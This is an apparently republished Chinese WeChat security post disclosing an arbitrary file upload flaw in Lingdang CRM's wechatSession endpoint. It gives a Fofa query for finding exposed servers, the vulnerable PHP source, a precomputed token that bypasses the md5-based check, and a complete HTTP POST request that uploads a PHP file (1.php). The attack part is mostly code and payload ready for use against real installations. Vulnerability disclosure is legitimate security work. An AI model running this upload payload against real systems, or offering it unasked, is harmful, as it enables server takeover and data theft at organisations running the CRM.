点击上方蓝字关注我们 并设为星标
0x00 前言
灵当CRM致力于为企业提供客户管理数字化、销售管理自动化、服务管理智能化、项目管理一体化的个性化CRM行业解决方案,构建全生命周期的数字化管理体系,实现可持续的业绩增长,新一代个性化CRM,聚焦本地私有化部署.实现管理、财务多系统集成,支持多种ERP接口,统一管理数据,共享互联消除信息化孤岛,真正做到数字化管理无障碍。
Fofa:body="include/js/ldAjax.js"
0x01 漏洞分析&复现
全局搜索 move_uploaded_file 共有81处存在该文件上传函数,但大部分文件的写法都存在一些问题,或者需要包含,这里找到一处可直接上传的点.
位于 /crm/wechatSession/index.php 有个简单的验证Token,但是所需的参数都可控,导致直接绕过并上传文件,只需要通过 $_REQUEST 传入的Token = md5($_REQUEST['msgid']."20201001") 即可绕过权限验证.
/* creator:liushuai date:20201020 reason:企业微信会话存档*/
date_default_timezone_set('PRC');
error_reporting(E_ALL^E_NOTICE^E_WARNING);
header('Content-Type:text/html;charset=UTF-8');
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With");
$root_dir=dirname(dirname(__FILE__));
if (substr(PHP_OS, 0, 3) == 'WIN') { //爲了本地测试而写
$root_dir = str_replace('\','/', $root_dir);
}
include($root_dir.'/includefile.php');
require_once($root_dir.'/include/Zend/Json.php');
//include($root_dir.'/appCommon/appCommon.php');
require_once(globalStatic::$root_directory . '/appCommon/appCommon.php');
require_once(globalStatic::$root_directory . '/modules/WechatSession/WechatSession.php');
$focus = new WechatSession();
global $adb;
/**
* 特殊字符转义后替换
*/
function ReplaceSpecialChar($C_char) {
return $C_char;
if(empty($C_char)){
return $C_char;
}
$C_char=str_replace("%2B","+",$C_char); //替换成+
$C_char=str_replace("%2F","/",$C_char);
$C_char=str_replace("%3F","?",$C_char);
$C_char=str_replace("%3D","=",$C_char);
$C_char=str_replace("%25","%",$C_char); //%会自动解析 但空格转义为%20 URL显示为%2520,所以还需要手动转义,不然存数据库为%20
$C_char=str_replace("%20"," ",$C_char);
return $C_char;//返回处理结果
}
$token = $_REQUEST["token"];
$msgid = $_REQUEST['msgid'];
$secret = $_REQUEST['secret']; //拉取进程 同步 secret到crm
if (empty($token) || (($token != md5($msgid."20201001")) && ($token != md5($secret."20201001")))) {
echo "authentication failed ";exit;
}
$operation = $_REQUEST["operation"];
if ($operation == "upload") { //关于local方式
// if ($_FILES["file"]["error"] != UPLOAD_ERR_OK) {
if ($_FILES["file"]["error"] > 0) {
switch($_FILES['file']['error']){
case '1':
$error = '超过php.ini允许的大小';
break;
case '2':
$error = '超过表单允许的大小';
break;
case '3':
$error = '图片只有部分被上传';
break;
case '4':
$error = '请选择图片';
break;
case '6':
$error = '找不到临时目录';
break;
case '7':
$error = '写文件到硬盘出错';
break;
case '8':
$error = 'File upload stopped by extension';
break;
case '999':
default:
$error = '未知错误';
}
$arr = [
'code' => 0,
'msg' => $error,
'result' => ''
];
echo json_encode($arr);exit();
} else {
$filename = ReplaceSpecialChar($_FILES['file']['name']);
// $filename = iconv('utf-8','gb2312',$filename);
$relative_dir = 'storage/wechatsession/'.date('Y');
$save_dir = $root_dir.'/'.$relative_dir;
if(!file_exists($save_dir)){
mkdir($save_dir,0777,true);
}
$relative_dir = 'storage/wechatsession/'.date('Y').'/'.date('m');
$save_dir = $root_dir.'/'.$relative_dir;
if(!file_exists($save_dir)){
mkdir($save_dir,0777,true);
}
$relative_dir = 'storage/wechatsession/'.date('Y').'/'.date('m').'/'.date('d');
$save_dir = $root_dir.'/'.$relative_dir;
$filepath = $save_dir .'/'. $filename;
if(!file_exists($save_dir)){
mkdir($save_dir,0777,true);
}
if (strtolower(PHP_OS) == 'freebsd' || strtolower(PHP_OS) == 'linux' || strtolower(PHP_OS) == 'unix') {
//获取系统类型,如果是非windows系统则不用修改编码格式
$upload_status = @move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
} else{
$upload_status = @move_uploaded_file($_FILES['file']['tmp_name'], mb_convert_encoding($filepath, 'gb2312', 'UTF-8'));
}
//file_put_contents($root_dir."/wechatsession/uploadstatus.txt",$upload_status);
if ($upload_status){ //如果是 local ,上传完文件后直接更新文件信息到ld_wechatsession
$root_dir = explode('/',$root_dir);
$root_dir_name = $root_dir[sizeof($root_dir)-1];// ldcrm
$sql = "update ld_wechatsession SET filepath=?,filename=? WHERE msgid=?";
// $result = $adb->pquery($sql, array('/'.$root_dir_name.$relative_dir.'/'. $filename,$filename,$_REQUEST["msgid"]));
$result = $adb->pquery($sql, array($relative_dir.'/'. $filename,$filename,$_REQUEST["msgid"]));
$code = 1;
}
else
$code = 0;
$arr = [
'code' => $code,
'msg' => '',
'result' => [
'upload_status' => $upload_status,
'filepath' => $filepath,
'filename' => $filename
]
];
echo json_encode($arr);exit();
}
所以我们只需要传入 token=9b06a9617174f1085ddcfb4ccdb6837f&msgid=1&operation=upload 即可上传任意文件.
Payload:
POST /crm/wechatSession/index.php?token=9b06a9617174f1085ddcfb4ccdb6837f&msgid=1&operation=upload HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydi5972B29YvTnNyn
Cookie: PHPSESSID=sl03dj9rrc66erlu5c23jvng9n
Host: 127.0.0.1
Origin: http://127.0.0.1
Pragma: no-cache
Referer: http://127.0.0.1/crm/wechatSession/index.php?token=9b06a9617174f1085ddcfb4ccdb6837f&msgid=1&operation=upload
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
phpinfo();
------WebKitFormBoundary03rNBzFMIytvpWhy--
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转
灵当CRM源码关注公众号发送 241013 获取!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):灵当CRM wechatSession 存在任意文件上传漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论